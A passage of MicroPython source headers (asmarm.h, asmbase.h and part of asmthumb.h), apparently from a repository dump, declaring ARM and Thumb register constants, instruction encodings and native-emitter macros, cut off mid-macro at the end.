LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_ASMARM_H\n#define MICROPY_INCLUDED_PY_ASMARM_H\n\n#include \"py/misc.h\"\n#include \"py/asmbase.h\"\n\n#define ASM_ARM_REG_R0  (0)\n#define ASM_ARM_REG_R1  (1)\n#define ASM_ARM_REG_R2  (2)\n#define ASM_ARM_REG_R3  (3)\n#define ASM_ARM_REG_R4  (4)\n#define ASM_ARM_REG_R5  (5)\n#define ASM_ARM_REG_R6  (6)\n#define ASM_ARM_REG_R7  (7)\n#define ASM_ARM_REG_R8  (8)\n#define ASM_ARM_REG_R9  (9)\n#define ASM_ARM_REG_R10 (10)\n#define ASM_ARM_REG_R11 (11)\n#define ASM_ARM_REG_R12 (12)\n#define ASM_ARM_REG_R13 (13)\n#define ASM_ARM_REG_R14 (14)\n#define ASM_ARM_REG_R15 (15)\n#define ASM_ARM_REG_SP  (ASM_ARM_REG_R13)\n#define ASM_ARM_REG_LR  (ASM_ARM_REG_R14)\n#define ASM_ARM_REG_PC  (ASM_ARM_REG_R15)\n\n#define ASM_ARM_CC_EQ (0x0 << 28)\n#define ASM_ARM_CC_NE (0x1 << 28)\n#define ASM_ARM_CC_CS (0x2 << 28)\n#define ASM_ARM_CC_CC (0x3 << 28)\n#define ASM_ARM_CC_MI (0x4 << 28)\n#define ASM_ARM_CC_PL (0x5 << 28)\n#define ASM_ARM_CC_VS (0x6 << 28)\n#define ASM_ARM_CC_VC (0x7 << 28)\n#define ASM_ARM_CC_HI (0x8 << 28)\n#define ASM_ARM_CC_LS (0x9 << 28)\n#define ASM_ARM_CC_GE (0xa << 28)\n#define ASM_ARM_CC_LT (0xb << 28)\n#define ASM_ARM_CC_GT (0xc << 28)\n#define ASM_ARM_CC_LE (0xd << 28)\n#define ASM_ARM_CC_AL (0xe << 28)\n\ntypedef struct _asm_arm_t {\n    mp_asm_base_t base;\n    uint push_reglist;\n    uint stack_adjust;\n} asm_arm_t;\n\nvoid asm_arm_end_pass(asm_arm_t *as);\n\nvoid asm_arm_entry(asm_arm_t *as, int num_locals);\nvoid asm_arm_exit(asm_arm_t *as);\n\nvoid asm_arm_bkpt(asm_arm_t *as);\n\n// mov\nvoid asm_arm_mov_reg_reg(asm_arm_t *as, uint reg_dest, uint reg_src);\nvoid asm_arm_mov_reg_i32(asm_arm_t *as, uint rd, int imm);\nvoid asm_arm_mov_local_reg(asm_arm_t *as, int local_num, uint rd);\nvoid asm_arm_mov_reg_local(asm_arm_t *as, uint rd, int local_num);\nvoid asm_arm_setcc_reg(asm_arm_t *as, uint rd, uint cond);\n\n// compare\nvoid asm_arm_cmp_reg_i8(asm_arm_t *as, uint rd, int imm);\nvoid asm_arm_cmp_reg_reg(asm_arm_t *as, uint rd, uint rn);\n\n// arithmetic\nvoid asm_arm_add_reg_reg_reg(asm_arm_t *as, uint rd, uint rn, uint rm);\nvoid asm_arm_sub_reg_reg_reg(asm_arm_t *as, uint rd, uint rn, uint rm);\nvoid asm_arm_mul_reg_reg_reg(asm_arm_t *as, uint rd, uint rn, uint rm);\nvoid asm_arm_and_reg_reg_reg(asm_arm_t *as, uint rd, uint rn, uint rm);\nvoid asm_arm_eor_reg_reg_reg(asm_arm_t *as, uint rd, uint rn, uint rm);\nvoid asm_arm_orr_reg_reg_reg(asm_arm_t *as, uint rd, uint rn, uint rm);\nvoid asm_arm_mov_reg_local_addr(asm_arm_t *as, uint rd, int local_num);\nvoid asm_arm_lsl_reg_reg(asm_arm_t *as, uint rd, uint rs);\nvoid asm_arm_asr_reg_reg(asm_arm_t *as, uint rd, uint rs);\n\n// memory\nvoid asm_arm_ldr_reg_reg(asm_arm_t *as, uint rd, uint rn, uint byte_offset);\nvoid asm_arm_ldrh_reg_reg(asm_arm_t *as, uint rd, uint rn);\nvoid asm_arm_ldrb_reg_reg(asm_arm_t *as, uint rd, uint rn);\nvoid asm_arm_str_reg_reg(asm_arm_t *as, uint rd, uint rm, uint byte_offset);\nvoid asm_arm_strh_reg_reg(asm_arm_t *as, uint rd, uint rm);\nvoid asm_arm_strb_reg_reg(asm_arm_t *as, uint rd, uint rm);\n// store to array\nvoid asm_arm_str_reg_reg_reg(asm_arm_t *as, uint rd, uint rm, uint rn);\nvoid asm_arm_strh_reg_reg_reg(asm_arm_t *as, uint rd, uint rm, uint rn);\nvoid asm_arm_strb_reg_reg_reg(asm_arm_t *as, uint rd, uint rm, uint rn);\n\n// stack\nvoid asm_arm_push(asm_arm_t *as, uint reglist);\nvoid asm_arm_pop(asm_arm_t *as, uint reglist);\n\n// control flow\nvoid asm_arm_bcc_label(asm_arm_t *as, int cond, uint label);\nvoid asm_arm_b_label(asm_arm_t *as, uint label);\nvoid asm_arm_bl_ind(asm_arm_t *as, void *fun_ptr, uint fun_id, uint reg_temp);\n\n#if GENERIC_ASM_API\n\n// The following macros provide a (mostly) arch-independent API to\n// generate native code, and are used by the native emitter.\n\n#define ASM_WORD_SIZE (4)\n\n#define REG_RET ASM_ARM_REG_R0\n#define REG_ARG_1 ASM_ARM_REG_R0\n#define REG_ARG_2 ASM_ARM_REG_R1\n#define REG_ARG_3 ASM_ARM_REG_R2\n#define REG_ARG_4 ASM_ARM_REG_R3\n\n#define REG_TEMP0 ASM_ARM_REG_R0\n#define REG_TEMP1 ASM_ARM_REG_R1\n#define REG_TEMP2 ASM_ARM_REG_R2\n\n#define REG_LOCAL_1 ASM_ARM_REG_R4\n#define REG_LOCAL_2 ASM_ARM_REG_R5\n#define REG_LOCAL_3 ASM_ARM_REG_R6\n#define REG_LOCAL_NUM (3)\n\n#define ASM_T               asm_arm_t\n#define ASM_END_PASS        asm_arm_end_pass\n#define ASM_ENTRY           asm_arm_entry\n#define ASM_EXIT            asm_arm_exit\n\n#define ASM_JUMP            asm_arm_b_label\n#define ASM_JUMP_IF_REG_ZERO(as, reg, label) \\\n    do { \\\n        asm_arm_cmp_reg_i8(as, reg, 0); \\\n        asm_arm_bcc_label(as, ASM_ARM_CC_EQ, label); \\\n    } while (0)\n#define ASM_JUMP_IF_REG_NONZERO(as, reg, label) \\\n    do { \\\n        asm_arm_cmp_reg_i8(as, reg, 0); \\\n        asm_arm_bcc_label(as, ASM_ARM_CC_NE, label); \\\n    } while (0)\n#define ASM_JUMP_IF_REG_EQ(as, reg1, reg2, label) \\\n    do { \\\n        asm_arm_cmp_reg_reg(as, reg1, reg2); \\\n        asm_arm_bcc_label(as, ASM_ARM_CC_EQ, label); \\\n    } while (0)\n#define ASM_CALL_IND(as, ptr, idx) asm_arm_bl_ind(as, ptr, idx, ASM_ARM_REG_R3)\n\n#define ASM_MOV_REG_TO_LOCAL(as, reg, local_num) asm_arm_mov_local_reg(as, (local_num), (reg))\n#define ASM_MOV_IMM_TO_REG(as, imm, reg) asm_arm_mov_reg_i32(as, (reg), (imm))\n#define ASM_MOV_ALIGNED_IMM_TO_REG(as, imm, reg) asm_arm_mov_reg_i32(as, (reg), (imm))\n#define ASM_MOV_IMM_TO_LOCAL_USING(as, imm, local_num, reg_temp) \\\n    do { \\\n        asm_arm_mov_reg_i32(as, (reg_temp), (imm)); \\\n        asm_arm_mov_local_reg(as, (local_num), (reg_temp)); \\\n    } while (false)\n#define ASM_MOV_LOCAL_TO_REG(as, local_num, reg) asm_arm_mov_reg_local(as, (reg), (local_num))\n#define ASM_MOV_REG_REG(as, reg_dest, reg_src) asm_arm_mov_reg_reg((as), (reg_dest), (reg_src))\n#define ASM_MOV_LOCAL_ADDR_TO_REG(as, local_num, reg) asm_arm_mov_reg_local_addr(as, (reg), (local_num))\n\n#define ASM_LSL_REG_REG(as, reg_dest, reg_shift) asm_arm_lsl_reg_reg((as), (reg_dest), (reg_shift))\n#define ASM_ASR_REG_REG(as, reg_dest, reg_shift) asm_arm_asr_reg_reg((as), (reg_dest), (reg_shift))\n#define ASM_OR_REG_REG(as, reg_dest, reg_src) asm_arm_orr_reg_reg_reg((as), (reg_dest), (reg_dest), (reg_src))\n#define ASM_XOR_REG_REG(as, reg_dest, reg_src) asm_arm_eor_reg_reg_reg((as), (reg_dest), (reg_dest), (reg_src))\n#define ASM_AND_REG_REG(as, reg_dest, reg_src) asm_arm_and_reg_reg_reg((as), (reg_dest), (reg_dest), (reg_src))\n#define ASM_ADD_REG_REG(as, reg_dest, reg_src) asm_arm_add_reg_reg_reg((as), (reg_dest), (reg_dest), (reg_src))\n#define ASM_SUB_REG_REG(as, reg_dest, reg_src) asm_arm_sub_reg_reg_reg((as), (reg_dest), (reg_dest), (reg_src))\n#define ASM_MUL_REG_REG(as, reg_dest, reg_src) asm_arm_mul_reg_reg_reg((as), (reg_dest), (reg_dest), (reg_src))\n\n#define ASM_LOAD_REG_REG(as, reg_dest, reg_base) asm_arm_ldr_reg_reg((as), (reg_dest), (reg_base), 0)\n#define ASM_LOAD_REG_REG_OFFSET(as, reg_dest, reg_base, word_offset) asm_arm_ldr_reg_reg((as), (reg_dest), (reg_base), 4 * (word_offset))\n#define ASM_LOAD8_REG_REG(as, reg_dest, reg_base) asm_arm_ldrb_reg_reg((as), (reg_dest), (reg_base))\n#define ASM_LOAD16_REG_REG(as, reg_dest, reg_base) asm_arm_ldrh_reg_reg((as), (reg_dest), (reg_base))\n#define ASM_LOAD32_REG_REG(as, reg_dest, reg_base) asm_arm_ldr_reg_reg((as), (reg_dest), (reg_base), 0)\n\n#define ASM_STORE_REG_REG(as, reg_value, reg_base) asm_arm_str_reg_reg((as), (reg_value), (reg_base), 0)\n#define ASM_STORE_REG_REG_OFFSET(as, reg_dest, reg_base, word_offset) asm_arm_str_reg_reg((as), (reg_dest), (reg_base), 4 * (word_offset))\n#define ASM_STORE8_REG_REG(as, reg_value, reg_base) asm_arm_strb_reg_reg((as), (reg_value), (reg_base))\n#define ASM_STORE16_REG_REG(as, reg_value, reg_base) asm_arm_strh_reg_reg((as), (reg_value), (reg_base))\n#define ASM_STORE32_REG_REG(as, reg_value, reg_base) asm_arm_str_reg_reg((as), (reg_value), (reg_base), 0)\n\n#endif // GENERIC_ASM_API\n\n#endif // MICROPY_INCLUDED_PY_ASMARM_H\n"
  },
  {
    "path": "micropython/inc/py/asmbase.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_ASMBASE_H\n#define MICROPY_INCLUDED_PY_ASMBASE_H\n\n#include <stdint.h>\n#include <stdbool.h>\n\n#define MP_ASM_PASS_COMPUTE (1)\n#define MP_ASM_PASS_EMIT    (2)\n\ntypedef struct _mp_asm_base_t {\n    int pass;\n    size_t code_offset;\n    size_t code_size;\n    uint8_t *code_base;\n\n    size_t max_num_labels;\n    size_t *label_offsets;\n} mp_asm_base_t;\n\nvoid mp_asm_base_init(mp_asm_base_t *as, size_t max_num_labels);\nvoid mp_asm_base_deinit(mp_asm_base_t *as, bool free_code);\nvoid mp_asm_base_start_pass(mp_asm_base_t *as, int pass);\nuint8_t *mp_asm_base_get_cur_to_write_bytes(mp_asm_base_t *as, size_t num_bytes_to_write);\nvoid mp_asm_base_label_assign(mp_asm_base_t *as, size_t label);\nvoid mp_asm_base_align(mp_asm_base_t* as, unsigned int align);\nvoid mp_asm_base_data(mp_asm_base_t* as, unsigned int bytesize, uintptr_t val);\n\nstatic inline size_t mp_asm_base_get_code_pos(mp_asm_base_t *as) {\n    return as->code_offset;\n}\n\nstatic inline size_t mp_asm_base_get_code_size(mp_asm_base_t *as) {\n    return as->code_size;\n}\n\nstatic inline void *mp_asm_base_get_code(mp_asm_base_t *as) {\n    #if defined(MP_PLAT_COMMIT_EXEC)\n    return MP_PLAT_COMMIT_EXEC(as->code_base, as->code_size);\n    #else\n    return as->code_base;\n    #endif\n}\n\n#endif // MICROPY_INCLUDED_PY_ASMBASE_H\n"
  },
  {
    "path": "micropython/inc/py/asmthumb.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_ASMTHUMB_H\n#define MICROPY_INCLUDED_PY_ASMTHUMB_H\n\n#include \"py/misc.h\"\n#include \"py/asmbase.h\"\n\n#define ASM_THUMB_REG_R0  (0)\n#define ASM_THUMB_REG_R1  (1)\n#define ASM_THUMB_REG_R2  (2)\n#define ASM_THUMB_REG_R3  (3)\n#define ASM_THUMB_REG_R4  (4)\n#define ASM_THUMB_REG_R5  (5)\n#define ASM_THUMB_REG_R6  (6)\n#define ASM_THUMB_REG_R7  (7)\n#define ASM_THUMB_REG_R8  (8)\n#define ASM_THUMB_REG_R9  (9)\n#define ASM_THUMB_REG_R10 (10)\n#define ASM_THUMB_REG_R11 (11)\n#define ASM_THUMB_REG_R12 (12)\n#define ASM_THUMB_REG_R13 (13)\n#define ASM_THUMB_REG_R14 (14)\n#define ASM_THUMB_REG_R15 (15)\n#define ASM_THUMB_REG_LR  (REG_R14)\n\n#define ASM_THUMB_CC_EQ (0x0)\n#define ASM_THUMB_CC_NE (0x1)\n#define ASM_THUMB_CC_CS (0x2)\n#define ASM_THUMB_CC_CC (0x3)\n#define ASM_THUMB_CC_MI (0x4)\n#define ASM_THUMB_CC_PL (0x5)\n#define ASM_THUMB_CC_VS (0x6)\n#define ASM_THUMB_CC_VC (0x7)\n#define ASM_THUMB_CC_HI (0x8)\n#define ASM_THUMB_CC_LS (0x9)\n#define ASM_THUMB_CC_GE (0xa)\n#define ASM_THUMB_CC_LT (0xb)\n#define ASM_THUMB_CC_GT (0xc)\n#define ASM_THUMB_CC_LE (0xd)\n\ntypedef struct _asm_thumb_t {\n    mp_asm_base_t base;\n    uint32_t push_reglist;\n    uint32_t stack_adjust;\n} asm_thumb_t;\n\nvoid asm_thumb_end_pass(asm_thumb_t *as);\n\nvoid asm_thumb_entry(asm_thumb_t *as, int num_locals);\nvoid asm_thumb_exit(asm_thumb_t *as);\n\n// argument order follows ARM, in general dest is first\n// note there is a difference between movw and mov.w, and many others!\n\n#define ASM_THUMB_OP_IT (0xbf00)\n#define ASM_THUMB_OP_ITE_EQ (0xbf0c)\n#define ASM_THUMB_OP_ITE_CS (0xbf2c)\n#define ASM_THUMB_OP_ITE_MI (0xbf4c)\n#define ASM_THUMB_OP_ITE_VS (0xbf6c)\n#define ASM_THUMB_OP_ITE_HI (0xbf8c)\n#define ASM_THUMB_OP_ITE_GE (0xbfac)\n#define ASM_THUMB_OP_ITE_GT (0xbfcc)\n\n#define ASM_THUMB_OP_NOP        (0xbf00)\n#define ASM_THUMB_OP_WFI        (0xbf30)\n#define ASM_THUMB_OP_CPSID_I    (0xb672) // cpsid i, disable irq\n#define ASM_THUMB_OP_CPSIE_I    (0xb662) // cpsie i, enable irq\n\nvoid asm_thumb_op16(asm_thumb_t *as, uint op);\nvoid asm_thumb_op32(asm_thumb_t *as, uint op1, uint op2);\n\nstatic inline void asm_thumb_it_cc(asm_thumb_t *as, uint cc, uint mask)\n    { asm_thumb_op16(as, ASM_THUMB_OP_IT | (cc << 4) | mask); }\n\n// FORMAT 1: move shifted register\n\n#define ASM_THUMB_FORMAT_1_LSL (0x0000)\n#define ASM_THUMB_FORMAT_1_LSR (0x0800)\n#define ASM_THUMB_FORMAT_1_ASR (0x1000)\n\n#define ASM_THUMB_FORMAT_1_ENCODE(op, rlo_dest, rlo_src, offset) \\\n    ((op) | ((offset) << 6) | ((rlo_src) << 3) | (rlo_dest))\n\nstatic inline void asm_thumb_format_1(asm_thumb_t *as, uint op, uint rlo_dest, uint rlo_src, uint offset) {\n    assert(rlo_dest < ASM_THUMB_REG_R8);\n    assert(rlo_src < ASM_THUMB_REG_R8);\n    asm_thumb_op16(as, ASM_THUMB_FORMAT_1_ENCODE(op, rlo_dest, rlo_src, offset));\n}\n\n// FORMAT 2: add/subtract\n\n#define ASM_THUMB_FORMAT_2_ADD (0x1800)\n#define ASM_THUMB_FORMAT_2_SUB (0x1a00)\n#define ASM_THUMB_FORMAT_2_REG_OPERAND (0x0000)\n#define ASM_THUMB_FORMAT_2_IMM_OPERAND (0x0400)\n\n#define ASM_THUMB_FORMAT_2_ENCODE(op, rlo_dest, rlo_src, src_b) \\\n    ((op) | ((src_b) << 6) | ((rlo_src) << 3) | (rlo_dest))\n\nstatic inline void asm_thumb_format_2(asm_thumb_t *as, uint op, uint rlo_dest, uint rlo_src, int src_b) {\n    assert(rlo_dest < ASM_THUMB_REG_R8);\n    assert(rlo_src < ASM_THUMB_REG_R8);\n    asm_thumb_op16(as, ASM_THUMB_FORMAT_2_ENCODE(op, rlo_dest, rlo_src, src_b));\n}\n\nstatic inline void asm_thumb_add_rlo_rlo_rlo(asm_thumb_t *as, uint rlo_dest, uint rlo_src_a, uint rlo_src_b)\n    { asm_thumb_format_2(as, ASM_THUMB_FORMAT_2_ADD | ASM_THUMB_FORMAT_2_REG_OPERAND, rlo_dest, rlo_src_a, rlo_src_b); }\nstatic inline void asm_thumb_add_rlo_rlo_i3(asm_thumb_t *as, uint rlo_dest, uint rlo_src_a, int i3_src)\n    { asm_thumb_format_2(as, ASM_THUMB_FORMAT_2_ADD | ASM_THUMB_FORMAT_2_IMM_OPERAND, rlo_dest, rlo_src_a, i3_src); }\nstatic inline void asm_thumb_sub_rlo_rlo_rlo(asm_thumb_t *as, uint rlo_dest, uint rlo_src_a, uint rlo_src_b)\n    { asm_thumb_format_2(as, ASM_THUMB_FORMAT_2_SUB | ASM_THUMB_FORMAT_2_REG_OPERAND, rlo_dest, rlo_src_a, rlo_src_b); }\nstatic inline void asm_thumb_sub_rlo_rlo_i3(asm_thumb_t *as, uint rlo_dest, uint rlo_src_a, int i3_src)\n    { asm_thumb_format_2(as, ASM_THUMB_FORMAT_2_SUB | ASM_THUMB_FORMAT_2_IMM_OPERAND, rlo_dest, rlo_src_a, i3_src); }\n\n// FORMAT 3: move/compare/add/subtract immediate\n// These instructions all do zero extension of the i8 value\n\n#define ASM_THUMB_FORMAT_3_MOV (0x2000)\n#define ASM_THUMB_FORMAT_3_CMP (0x2800)\n#define ASM_THUMB_FORMAT_3_ADD (0x3000)\n#define ASM_THUMB_FORMAT_3_SUB (0x3800)\n\n#define ASM_THUMB_FORMAT_3_ENCODE(op, rlo, i8) ((op) | ((rlo) << 8) | (i8))\n\nstatic inline void asm_thumb_format_3(asm_thumb_t *as, uint op, uint rlo, int i8) {\n    assert(rlo < ASM_THUMB_REG_R8);\n    asm_thumb_op16(as, ASM_THUMB_FORMAT_3_ENCODE(op, rlo, i8));\n}\n\nstatic inline void asm_thumb_mov_rlo_i8(asm_thumb_t *as, uint rlo, int i8) { asm_thumb_format_3(as, ASM_THUMB_FORMAT_3_MOV, rlo, i8); }\nstatic inline void asm_thumb_cmp_rlo_i8(asm_thumb_t *as, uint rlo, int i8) { asm_thumb_format_3(as, ASM_THUMB_FORMAT_3_CMP, rlo, i8); }\nstatic inline void asm_thumb_add_rlo_i8(asm_thumb_t *as, uint rlo, int i8) { asm_thumb_format_3(as, ASM_THUMB_FORMAT_3_ADD, rlo, i8); }\nstatic inline void asm_thumb_sub_rlo_i8(asm_thumb_t *as, uint rlo, int i8) { asm_thumb_format_3(as, ASM_THUMB_FORMAT_3_SUB, rlo, i8); }\n\n// FORMAT 4: ALU operations\n\n#define ASM_THUMB_FORMAT_4_AND (0x4000)\n#define ASM_THUMB_FORMAT_4_EOR (0x4040)\n#define ASM_THUMB_FORMAT_4_LSL (0x4080)\n#define ASM_THUMB_FORMAT_4_LSR (0x40c0)\n#define ASM_THUMB_FORMAT_4_ASR (0x4100)\n#define ASM_THUMB_FORMAT_4_ADC (0x4140)\n#define ASM_THUMB_FORMAT_4_SBC (0x4180)\n#define ASM_THUMB_FORMAT_4_ROR (0x41c0)\n#define ASM_THUMB_FORMAT_4_TST (0x4200)\n#define ASM_THUMB_FORMAT_4_NEG (0x4240)\n#define ASM_THUMB_FORMAT_4_CMP (0x4280)\n#define ASM_THUMB_FORMAT_4_CMN (0x42c0)\n#define ASM_THUMB_FORMAT_4_ORR (0x4300)\n#define ASM_THUMB_FORMAT_4_MUL (0x4340)\n#define ASM_THUMB_FORMAT_4_BIC (0x4380)\n#define ASM_THUMB_FORMAT_4_MVN (0x43c0)\n\nvoid asm_thumb_format_4(asm_thumb_t *as, uint op, uint rlo_dest, uint rlo_src);\n\nstatic inline void asm_thumb_cmp_rlo_rlo(asm_thumb_t *as, uint rlo_dest, uint rlo_src) { asm_thumb_format_4(as, ASM_THUMB_FORMAT_4_CMP, rlo_dest, rlo_src); }\n\n// FORMAT 9: load/store with immediate offset\n// For word transfers the offset must be aligned, and >>2\n\n// FORMAT 10: load/store halfword\n// The offset must be aligned, and >>1\n// The load is zero extended into the register\n\n#define ASM_THUMB_FORMAT_9_STR (0x6000)\n#define ASM_THUMB_FORMAT_9_LDR (0x6800)\n#define ASM_THUMB_FORMAT_9_WORD_TRANSFER (0x0000)\n#define ASM_THUMB_FORMAT_9_BYTE_TRANSFER (0x1000)\n\n#define ASM_THUMB_FORMAT_10_STRH (0x8000)\n#define ASM_THUMB_FORMAT_10_LDRH (0x8800)\n\n#define ASM_THUMB_FORMAT_9_10_ENCODE(op, rlo_dest, rlo_base, offset) \\\n    ((op) | (((offset) << 6) & 0x07c0) | ((rlo_base) << 3) | (rlo_dest))\n\nstatic inline void asm_thumb_format_9_10(asm_thumb_t *as, uint op, uint rlo_dest, uint rlo_base, uint offset)\n    { asm_thumb_op16(as, ASM_THUMB_FORMAT_9_10_ENCODE(op, rlo_dest, rlo_base, offset)); }\n\nstatic inline void asm_thumb_str_rlo_rlo_i5(asm_thumb_t *as, uint rlo_src, uint rlo_base, uint word_offset)\n    { asm_thumb_format_9_10(as, ASM_THUMB_FORMAT_9_STR | ASM_THUMB_FORMAT_9_WORD_TRANSFER, rlo_src, rlo_base, word_offset); }\nstatic inline void asm_thumb_strb_rlo_rlo_i5(asm_thumb_t *as, uint rlo_src, uint rlo_base, uint byte_offset)\n    { asm_thumb_format_9_10(as, ASM_THUMB_FORMAT_9_STR | ASM_THUMB_FORMAT_9_BYTE_TRANSFER, rlo_src, rlo_base, byte_offset); }\nstatic inline void asm_thumb_strh_rlo_rlo_i5(asm_thumb_t *as, uint rlo_src, uint rlo_base, uint byte_offset)\n    { asm_thumb_format_9_10(as, ASM_THUMB_FORMAT_10_STRH, rlo_src, rlo_base, byte_offset); }\nstatic inline void asm_thumb_ldr_rlo_rlo_i5(asm_thumb_t *as, uint rlo_dest, uint rlo_base, uint word_offset)\n    { asm_thumb_format_9_10(as, ASM_THUMB_FORMAT_9_LDR | ASM_THUMB_FORMAT_9_WORD_TRANSFER, rlo_dest, rlo_base, word_offset); }\nstatic inline void asm_thumb_ldrb_rlo_rlo_i5(asm_thumb_t *as, uint rlo_dest, uint rlo_base, uint byte_offset)\n    { asm_thumb_format_9_10(as, ASM_THUMB_FORMAT_9_LDR | ASM_THUMB_FORMAT_9_BYTE_TRANSFER , rlo_dest, rlo_base, byte_offset); }\nstatic inline void asm_thumb_ldrh_rlo_rlo_i5(asm_thumb_t *as, uint rlo_dest, uint rlo_base, uint byte_offset)\n    { asm_thumb_format_9_10(as, ASM_THUMB_FORMAT_10_LDRH, rlo_dest, rlo_base, byte_offset); }\n\n// TODO convert these to above format style\n\n#define ASM_THUMB_OP_MOVW (0xf240)\n#define ASM_THUMB_OP_MOVT (0xf2c0)\n\nvoid asm_thumb_mov_reg_reg(asm_thumb_t *as, uint reg_dest, uint reg_src);\nvoid asm_thumb_mov_reg_i16(asm_thumb_t *as, uint mov_op, uint reg_dest, int i16_src);\n\n// these return true if the destination is in range, false otherwise\nbool asm_thumb_b_n_label(asm_thumb_t *as, uint label);\nbool asm_thumb_bcc_nw_label(asm_thumb_t *as, int cond, uint label, bool wide);\nbool asm_thumb_bl_label(asm_thumb_t *as, uint label);\n\nvoid asm_thumb_mov_reg_i32(asm_thumb_t *as, uint reg_dest, mp_uint_t i32_src); // convenience\nvoid asm_thumb_mov_reg_i32_optimised(asm_thumb_t *as, uint reg_dest, int i32_src); // convenience\nvoid asm_thumb_mov_reg_i32_aligned(asm_thumb_t *as, uint reg_dest, int i32); // convenience\nvoid asm_thumb_mov_local_reg(asm_thumb_t *as, int local_num_dest, uint rlo_src); // convenience\nvoid asm_thumb_mov_reg_local(asm_thumb_t *as, uint rlo_dest, int local_num); // convenience\nvoid asm_thumb_mov_reg_local_addr(asm_thumb_t *as, uint rlo_dest, int local_num); // convenience\n\nvoid asm_thumb_b_label(asm_thumb_t *as, uint label); // convenience: picks narrow or wide branch\nvoid asm_thumb_bcc_label(asm_thumb_t *as, int cc, uint label); // convenience: picks narrow or wide branch\nvoid asm_thumb_bl_ind(asm_thumb_t *as, void *fun_ptr, uint fun_id, uint reg_temp); // convenience\n\n#if GENERIC_ASM_API\n\n// The following macros provide a (mostly) arch-independent API to\n// generate native code, and are used by the native emitter.\n\n#define ASM_WORD_SIZE (4)\n\n#define REG_RET ASM_THUMB_REG_R0\n#define REG_ARG_1 ASM_THUMB_REG_R0\n#define REG_ARG_2 ASM_THUMB_REG_R1\n#define REG_ARG_3 ASM_THUMB_REG_R2\n#define REG_ARG_4 ASM_THUMB_REG_R3\n// rest of args go on stack\n\n#define REG_TEMP0 ASM_THUMB_REG_R0\n#define REG_TEMP1 ASM_THUMB_REG_R1\n#define REG_TEMP2 ASM_THUMB_REG_R2\n\n#define REG_LOCAL_1 ASM_THUMB_REG_R4\n#define REG_LOCAL_2 ASM_THUMB_REG_R5\n#define REG_LOCAL_3 ASM_THUMB_REG_R6\n#define REG_LOCAL_NUM (3)\n\n#define ASM_T               asm_thumb_t\n#define ASM_END_PASS        asm_thumb_end_pass\n#define ASM_ENTRY           asm_thumb_entry\n#define ASM_EXIT            asm_thumb_exit\n\n#define ASM_JUMP            asm_thumb_b_label\n#define ASM_JUMP_IF_REG_ZERO(as, reg, label) \\\n    do { \\\n        asm_thumb_cmp_rlo_i8(as, reg, 0); \\\n        asm_thumb_bcc_label(as, ASM_THUMB_CC_EQ, label); \\\n    } while (0)\n#define ASM_JUMP_IF_REG_NONZERO(as, reg, label) \\\n    do { \\\n        asm_thumb_cmp_rlo_i8(as, reg, 0); \\\n        asm_thumb_bcc_label(as, ASM_THUMB_CC_NE, label); \\\n    } while (0)\n#define ASM_JUMP_IF_REG_EQ(as, reg1, reg2, label) \\\n    do { \\\n        asm_thumb_cmp_rlo_rlo(as, reg1, reg2); \\\n        asm_thumb_bcc_label(as, ASM_THUMB_CC_EQ, label); \\\n    } while (0)\n#define ASM_CALL_IND(as, ptr, idx) asm_thumb_bl_ind(as, ptr, idx, ASM_THUMB_REG_R3)\n\n#define ASM_MOV_REG_TO_LOCAL(as, reg, local_num) asm_thumb_mov_local_reg(as, (local_num), (reg))\n#define ASM_MOV_IMM_TO_REG(as, imm, reg) asm_thumb_mov_reg_i32_optimised(as, (reg), (imm))\n#define ASM_MOV_ALIGNED_IMM_TO_REG(as, imm, reg) asm_thumb_mov_reg_i32_aligned(as, (reg), (imm))\n#define ASM_MOV_IMM_TO_LOCAL_USING(as, imm, local_num, reg_temp) \\\n    do { \\\n        asm_thumb_mov_reg_i32_optimised(as, (reg_temp), (imm)); \\\n        asm_thumb_mov_local_reg(as, (local_num), (reg_temp)); \\\n    } while (false)\n#define ASM_MOV_LOCAL_TO_REG(as, local_num, reg) 